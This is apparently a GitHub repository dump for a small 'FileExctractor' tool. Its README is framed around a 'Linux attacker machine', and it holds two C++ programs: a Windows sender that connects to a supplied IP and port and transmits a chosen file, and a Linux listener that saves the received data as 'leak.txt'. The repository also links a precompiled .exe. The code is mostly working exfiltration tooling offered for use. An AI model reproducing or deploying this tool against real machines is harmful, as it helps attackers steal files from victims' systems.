├── README.md ├── client ├── client.cpp ├── fileExtractor.exe └── sendfile.cpp /README.md: -------------------------------------------------------------------------------- 1 | # FileExctractor 2 | C++ Code to Extract Windows File and Receive in Linux Machine 3 | 4 | It's the moment to use and show how you can use it! 5 | 6 | In the Linux attacker machine: 7 | 8 | ![image](https://user-images.githubusercontent.com/79543461/227991963-26a892b2-4109-4d1e-a17b-3ab6f6d987eb.png) 9 | 10 | Put any port: 11 | 12 | ![image](https://user-images.githubusercontent.com/79543461/227992034-19414676-de91-4e36-ab47-2ec5b9ee2105.png) 13 | 14 | In Windows Machine: 15 | 16 | ![image](https://user-images.githubusercontent.com/79543461/227992115-2b2a45f5-a6fe-44c0-9b14-57374e192aaf.png) 17 | 18 | Provide the information required: 19 | 20 | ![image](https://user-images.githubusercontent.com/79543461/227992176-a62b73a5-c16c-43b1-bb03-08a6a7955a56.png) 21 | 22 | And execute it: 23 | 24 | ![image](https://user-images.githubusercontent.com/79543461/227992740-af0395b8-7033-4596-b5cc-a6d1eefbe671.png) 25 | -------------------------------------------------------------------------------- /client: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/FileExtractor/6009e50b0fd063f444f56a5fb9afca7dd3f50a51/client -------------------------------------------------------------------------------- /client.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | using namespace std; 13 | 14 | #define BUFFER_SIZE 1024 15 | #define MAX_IDLE_TIME 10 // 10 segundos de inactividad antes de reiniciar la conexión 16 | 17 | bool is_idle = false; 18 | 19 | void close_connection(int signal) { 20 | is_idle = true; 21 | } 22 | 23 | void timer_handler(int signal) { 24 | is_idle = true; 25 | } 26 | 27 | int main(int argc, char *argv[]) { 28 | int sockfd, newsockfd, portno; 29 | 30 | cout << "\n\tFile Extractor\n"; 31 | cout << "\nProvide the port number\n"; 32 | cout << "\nServer Port: "; 33 | cin >> portno; 34 | 35 | socklen_t clilen; 36 | char buffer[BUFFER_SIZE]; 37 | struct sockaddr_in serv_addr, cli_addr; 38 | int n; 39 | 40 | // Crear un socket 41 | sockfd = socket(AF_INET, SOCK_STREAM, 0); 42 | if (sockfd < 0) { 43 | perror("ERROR opening socket"); 44 | exit(1); 45 | } 46 | 47 | // Establecer la dirección del servidor 48 | bzero((char *) &serv_addr, sizeof(serv_addr)); 49 | serv_addr.sin_family = AF_INET; 50 | serv_addr.sin_addr.s_addr = INADDR_ANY; 51 | serv_addr.sin_port = htons(portno); 52 | 53 | // Vincular el socket a la dirección del servidor 54 | if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) { 55 | perror("ERROR on binding"); 56 | exit(1); 57 | } 58 | 59 | // Escuchar conexiones entrantes 60 | listen(sockfd, 5); 61 | clilen = sizeof(cli_addr); 62 | 63 | // Configurar el temporizador 64 | struct sigaction sa; 65 | struct itimerval timer; 66 | 67 | memset(&sa, 0, sizeof(sa)); 68 | sa.sa_handler = &timer_handler; 69 | sigaction(SIGALRM, &sa, NULL); 70 | 71 | timer.it_value.tv_sec = MAX_IDLE_TIME; 72 | timer.it_value.tv_usec = 0; 73 | timer.it_interval.tv_sec = 0; 74 | timer.it_interval.tv_usec = 0; 75 | 76 | while (true) { 77 | // Configurar el temporizador 78 | setitimer(ITIMER_REAL, &timer, NULL); 79 | 80 | // Aceptar una conexión entrante 81 | newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); 82 | if (newsockfd < 0) { 83 | continue; 84 | } 85 | 86 | // Reiniciar el temporizador 87 | timer.it_value.tv_sec = MAX_IDLE_TIME; 88 | timer.it_value.tv_usec = 0; 89 | 90 | // Leer los datos del archivo 91 | FILE *fp = fopen("leak.txt", "wb"); 92 | if (fp == NULL) { 93 | perror("ERROR opening file"); 94 | close(newsockfd); 95 | continue; 96 | } 97 | bzero(buffer, BUFFER_SIZE); 98 | while ((n = recv(newsockfd, buffer, BUFFER_SIZE, 0)) > 0) { 99 | fwrite(buffer,sizeof(char),n,fp); 100 | memset(buffer, 0, BUFFER_SIZE); 101 | } 102 | fclose(fp); 103 | cout << "\nFile received successfully\n"; 104 | close(newsockfd); 105 | 106 | if (is_idle) { 107 | is_idle = false; 108 | } 109 | } 110 | 111 | // Cerrar el socket 112 | close(sockfd); 113 | 114 | return 0; 115 | 116 | } 117 | -------------------------------------------------------------------------------- /fileExtractor.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/FileExtractor/6009e50b0fd063f444f56a5fb9afca7dd3f50a51/fileExtractor.exe -------------------------------------------------------------------------------- /sendfile.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | using namespace std; 6 | 7 | #pragma comment(lib, "ws2_32.lib") 8 | 9 | int main(){ 10 | string server; 11 | int port; // Declare "port" as an integer 12 | string filename; 13 | 14 | cout << "Server: "; 15 | cin >> server; 16 | cout << "Port: "; 17 | cin >> port; 18 | cout << "Filename: "; 19 | cin >> filename; 20 | 21 | 22 | WSADATA wsaData; 23 | int result = WSAStartup(MAKEWORD(2, 2), &wsaData); 24 | if (result != 0) { 25 | std::cerr << "WSAStartup failed with error: " << result << '\n'; 26 | return 1; 27 | } 28 | 29 | SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 30 | if (sock == INVALID_SOCKET) { 31 | std::cerr << "Failed to create socket: " << WSAGetLastError() << '\n'; 32 | WSACleanup(); 33 | return 1; 34 | } 35 | 36 | SOCKADDR_IN remoteAddr; 37 | remoteAddr.sin_family = AF_INET; 38 | remoteAddr.sin_port = htons(port); // Convert the port from string to integer 39 | remoteAddr.sin_addr.s_addr = inet_addr(server.c_str()); // server IP address 40 | result = connect(sock, (SOCKADDR*)&remoteAddr, sizeof(remoteAddr)); 41 | if (result == SOCKET_ERROR) { 42 | std::cerr << "Failed to connect: " << WSAGetLastError() << '\n'; 43 | closesocket(sock); 44 | WSACleanup(); 45 | return 1; 46 | } 47 | 48 | FILE* file = fopen(filename.c_str(), "rb"); 49 | if (!file) { 50 | std::cerr << "Failed to open file: " << errno << '\n'; 51 | closesocket(sock); 52 | WSACleanup(); 53 | return 1; 54 | } 55 | 56 | char buffer[4096]; 57 | while (!feof(file)) { 58 | size_t bytesRead = fread(buffer, 1, sizeof(buffer), file); 59 | size_t bytesSent = send(sock, buffer, bytesRead, 0); 60 | if (bytesSent == SOCKET_ERROR) { 61 | std::cerr << "Error sending data: " << WSAGetLastError() << '\n'; 62 | fclose(file); 63 | closesocket(sock); 64 | WSACleanup(); 65 | return 1; 66 | } 67 | } 68 | 69 | fclose(file); 70 | closesocket(sock); 71 | WSACleanup(); 72 | 73 | return 0; 74 | } 75 | --------------------------------------------------------------------------------